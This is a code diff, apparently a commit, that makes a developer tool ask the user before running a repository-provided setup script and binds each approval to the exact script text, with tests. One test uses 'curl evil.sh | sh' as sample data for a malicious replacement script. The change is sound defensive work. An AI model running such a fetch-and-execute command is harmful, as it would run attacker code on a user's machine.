confirm repo-provided setup script before running

Author: charlesvien

packages/core/src/task-detail/taskCreationHost.ts

@@ -128,6 +128,18 @@ export interface ITaskCreationHost {
   ): Promise<string[]>;
   setProvisioningActive(taskId: string): void;
   clearProvisioning(taskId: string): void;
+  /**
+   * Ask the user to approve running a repo-provided environment setup script
+   * before it executes. Resolves true when approved (or previously approved for
+   * this exact script), false otherwise. Gates the auto-run so opening a
+   * malicious repo can't silently execute its setup script (VERIA-353).
+   */
+  confirmEnvironmentSetup(args: {
+    repoPath: string;
+    environmentId: string;
+    name: string;
+    script: string;
+  }): Promise<boolean>;
   dispatchSetupAction(args: SetupActionDispatch): void;
   track(event: string, props?: Record<string, unknown>): void;
   importClaudeCliSession(args: {

packages/core/src/task-detail/taskCreationSaga.test.ts

@@ -29,6 +29,7 @@ const mockHost = vi.hoisted(() => ({
   uploadRunAttachments: vi.fn(),
   setProvisioningActive: vi.fn(),
   clearProvisioning: vi.fn(),
+  confirmEnvironmentSetup: vi.fn(async () => true),
   dispatchSetupAction: vi.fn(),
   importClaudeCliSession: vi.fn(),
   deleteClaudeCliImport: vi.fn(),

packages/core/src/task-detail/taskCreationSaga.ts

@@ -637,9 +637,17 @@ export class TaskCreationSaga extends Saga<
   ): void {
     this.deps.host
       .getEnvironment({ repoPath, id: environmentId })
-      .then((env) => {
+      .then(async (env) => {
         if (!env?.setup?.script) return;
 
+        const approved = await this.deps.host.confirmEnvironmentSetup({
+          repoPath,
+          environmentId,
+          name: env.name,
+          script: env.setup.script,
+        });
+        if (!approved) return;
+
         this.deps.host.dispatchSetupAction({
           taskId,
           command: env.setup.script,

packages/ui/src/features/settings/settingsStore.test.ts

@@ -479,3 +479,59 @@ describe("feature settingsStore terminal font", () => {
     );
   });
 });
+
+describe("feature settingsStore environment setup approvals", () => {
+  beforeEach(async () => {
+    await resetPersistenceMocks();
+    useSettingsStore.setState({ approvedEnvironmentSetups: {} });
+  });
+
+  it("is not approved before the user confirms", () => {
+    expect(
+      useSettingsStore
+        .getState()
+        .isEnvironmentSetupApproved("/repo", "env-1", "npm run setup"),
+    ).toBe(false);
+  });
+
+  it("approves the exact script the user confirmed", () => {
+    useSettingsStore
+      .getState()
+      .setApprovedEnvironmentSetup("/repo", "env-1", "npm run setup");
+
+    expect(
+      useSettingsStore
+        .getState()
+        .isEnvironmentSetupApproved("/repo", "env-1", "npm run setup"),
+    ).toBe(true);
+  });
+
+  it("re-prompts when the approved script text changes", () => {
+    useSettingsStore
+      .getState()
+      .setApprovedEnvironmentSetup("/repo", "env-1", "npm run setup");
+
+    expect(
+      useSettingsStore
+        .getState()
+        .isEnvironmentSetupApproved("/repo", "env-1", "curl evil.sh | sh"),
+    ).toBe(false);
+  });
+
+  it("scopes approval to the repo and environment", () => {
+    useSettingsStore
+      .getState()
+      .setApprovedEnvironmentSetup("/repo", "env-1", "npm run setup");
+
+    expect(
+      useSettingsStore
+        .getState()
+        .isEnvironmentSetupApproved("/other-repo", "env-1", "npm run setup"),
+    ).toBe(false);
+    expect(
+      useSettingsStore
+        .getState()
+        .isEnvironmentSetupApproved("/repo", "env-2", "npm run setup"),
+    ).toBe(false);
+  });
+});

packages/ui/src/features/settings/settingsStore.ts

@@ -113,6 +113,11 @@ interface SettingsStore {
   // picker immediately, before the (slow) live branch list resolves.
   cachedCloudDefaultBranchMap: Record<string, string>;
   lastUsedEnvironments: Record<string, string>;
+  // Repo-provided environment setup scripts the user has approved to run,
+  // keyed by "repoPath\0environmentId" -> the exact approved script text.
+  // Binding to the script text means editing the script re-triggers approval,
+  // so a malicious repo can't swap in a new payload after a one-time approval.
+  approvedEnvironmentSetups: Record<string, string>;
   defaultInitialTaskMode: DefaultInitialTaskMode;
   lastUsedInitialTaskMode: ExecutionMode;
   // Mode last chosen when approving a plan; pre-selected on the next approval.
@@ -137,6 +142,16 @@ interface SettingsStore {
     environmentId: string | null,
   ) => void;
   getLastUsedEnvironment: (repoPath: string) => string | null;
+  setApprovedEnvironmentSetup: (
+    repoPath: string,
+    environmentId: string,
+    script: string,
+  ) => void;
+  isEnvironmentSetupApproved: (
+    repoPath: string,
+    environmentId: string,
+    script: string,
+  ) => boolean;
   setDefaultInitialTaskMode: (mode: DefaultInitialTaskMode) => void;
   setLastUsedInitialTaskMode: (mode: ExecutionMode) => void;
   setLastPlanApprovalMode: (mode: ExecutionMode) => void;
@@ -303,6 +318,7 @@ export const useSettingsStore = create<SettingsStore>()(
       cachedCloudRepositoryMap: {},
       cachedCloudDefaultBranchMap: {},
       lastUsedEnvironments: {},
+      approvedEnvironmentSetups: {},
       defaultInitialTaskMode: "plan",
       lastUsedInitialTaskMode: "plan",
       lastPlanApprovalMode: null,
@@ -343,6 +359,16 @@ export const useSettingsStore = create<SettingsStore>()(
         }),
       getLastUsedEnvironment: (repoPath) =>
         get().lastUsedEnvironments[repoPath] ?? null,
+      setApprovedEnvironmentSetup: (repoPath, environmentId, script) =>
+        set((state) => ({
+          approvedEnvironmentSetups: {
+            ...state.approvedEnvironmentSetups,
+            [`${repoPath}\0${environmentId}`]: script,
+          },
+        })),
+      isEnvironmentSetupApproved: (repoPath, environmentId, script) =>
+        get().approvedEnvironmentSetups[`${repoPath}\0${environmentId}`] ===
+        script,
       setDefaultInitialTaskMode: (mode) =>
         set({ defaultInitialTaskMode: mode }),
       setLastUsedInitialTaskMode: (mode) =>
@@ -528,6 +554,7 @@ export const useSettingsStore = create<SettingsStore>()(
         cachedCloudRepositoryMap: state.cachedCloudRepositoryMap,
         cachedCloudDefaultBranchMap: state.cachedCloudDefaultBranchMap,
         lastUsedEnvironments: state.lastUsedEnvironments,
+        approvedEnvironmentSetups: state.approvedEnvironmentSetups,
         defaultInitialTaskMode: state.defaultInitialTaskMode,
         lastUsedInitialTaskMode: state.lastUsedInitialTaskMode,
         lastPlanApprovalMode: state.lastPlanApprovalMode,

packages/ui/src/features/task-detail/taskCreationHostImpl.test.ts

@@ -0,0 +1,91 @@
+import { registerRendererStateStorage } from "@posthog/ui/shell/rendererStorage";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+registerRendererStateStorage({
+  getItem: vi.fn().mockResolvedValue(null),
+  setItem: vi.fn().mockResolvedValue(undefined),
+  removeItem: vi.fn().mockResolvedValue(undefined),
+});
+
+vi.mock("@posthog/di/container", () => ({
+  resolveService: vi.fn(),
+}));
+
+vi.mock("../../shell/analytics", () => ({
+  track: vi.fn(),
+  captureException: vi.fn(),
+}));
+
+import { useSettingsStore } from "../settings/settingsStore";
+import { TrpcTaskCreationHost } from "./taskCreationHostImpl";
+
+const args = {
+  repoPath: "/repo",
+  environmentId: "env-1",
+  name: "Dev",
+  script: "npm run setup",
+};
+
+describe("TrpcTaskCreationHost.confirmEnvironmentSetup", () => {
+  const host = new TrpcTaskCreationHost();
+
+  beforeEach(() => {
+    useSettingsStore.setState({
+      approvedEnvironmentSetups: {},
+      _hasHydrated: true,
+    });
+  });
+
+  afterEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it("hydrates the persisted store before reading approvals", async () => {
+    useSettingsStore.setState({ _hasHydrated: false });
+    const rehydrateSpy = vi
+      .spyOn(useSettingsStore.persist, "rehydrate")
+      .mockResolvedValue(undefined);
+    vi.spyOn(window, "confirm").mockReturnValue(false);
+
+    await host.confirmEnvironmentSetup(args);
+
+    expect(rehydrateSpy).toHaveBeenCalledTimes(1);
+  });
+
+  it("prompts and persists approval when the user accepts", async () => {
+    const confirmSpy = vi.spyOn(window, "confirm").mockReturnValue(true);
+
+    await expect(host.confirmEnvironmentSetup(args)).resolves.toBe(true);
+
+    expect(confirmSpy).toHaveBeenCalledTimes(1);
+    expect(
+      useSettingsStore
+        .getState()
+        .isEnvironmentSetupApproved("/repo", "env-1", "npm run setup"),
+    ).toBe(true);
+  });
+
+  it("does not persist approval when the user declines", async () => {
+    const confirmSpy = vi.spyOn(window, "confirm").mockReturnValue(false);
+
+    await expect(host.confirmEnvironmentSetup(args)).resolves.toBe(false);
+
+    expect(confirmSpy).toHaveBeenCalledTimes(1);
+    expect(
+      useSettingsStore
+        .getState()
+        .isEnvironmentSetupApproved("/repo", "env-1", "npm run setup"),
+    ).toBe(false);
+  });
+
+  it("skips the prompt when the exact script is already approved", async () => {
+    useSettingsStore
+      .getState()
+      .setApprovedEnvironmentSetup("/repo", "env-1", "npm run setup");
+    const confirmSpy = vi.spyOn(window, "confirm").mockReturnValue(false);
+
+    await expect(host.confirmEnvironmentSetup(args)).resolves.toBe(true);
+
+    expect(confirmSpy).not.toHaveBeenCalled();
+  });
+});

packages/ui/src/features/task-detail/taskCreationHostImpl.ts

@@ -33,6 +33,7 @@ import { resolveLocalSkillPrompt } from "../message-editor/commands";
 import { DEFAULT_PANEL_IDS } from "../panels/panelConstants";
 import { usePanelLayoutStore } from "../panels/panelLayoutStore";
 import { useProvisioningStore } from "../provisioning/store";
+import { useSettingsStore } from "../settings/settingsStore";
 import { takeWarmTaskLease } from "./hooks/warmTaskLease";
 
 interface EnvironmentHostClient {
@@ -194,6 +195,41 @@ export class TrpcTaskCreationHost implements ITaskCreationHost {
     useProvisioningStore.getState().clear(taskId);
   }
 
+  async confirmEnvironmentSetup(args: {
+    repoPath: string;
+    environmentId: string;
+    name: string;
+    script: string;
+  }): Promise<boolean> {
+    // The persisted store hydrates asynchronously; reading before it finishes
+    // would miss a prior approval and prompt again. Force hydration first.
+    if (!useSettingsStore.getState()._hasHydrated) {
+      await useSettingsStore.persist.rehydrate();
+    }
+    const settings = useSettingsStore.getState();
+    if (
+      settings.isEnvironmentSetupApproved(
+        args.repoPath,
+        args.environmentId,
+        args.script,
+      )
+    ) {
+      return true;
+    }
+
+    const approved = window.confirm(
+      `The environment "${args.name}" in ${args.repoPath} wants to run this setup script on your machine:\n\n${args.script}\n\nRun it?`,
+    );
+    if (approved) {
+      settings.setApprovedEnvironmentSetup(
+        args.repoPath,
+        args.environmentId,
+        args.script,
+      );
+    }
+    return approved;
+  }
+
   dispatchSetupAction(args: SetupActionDispatch): void {
     const actionId = `setup-${args.taskId}-${Date.now()}`;
     usePanelLayoutStore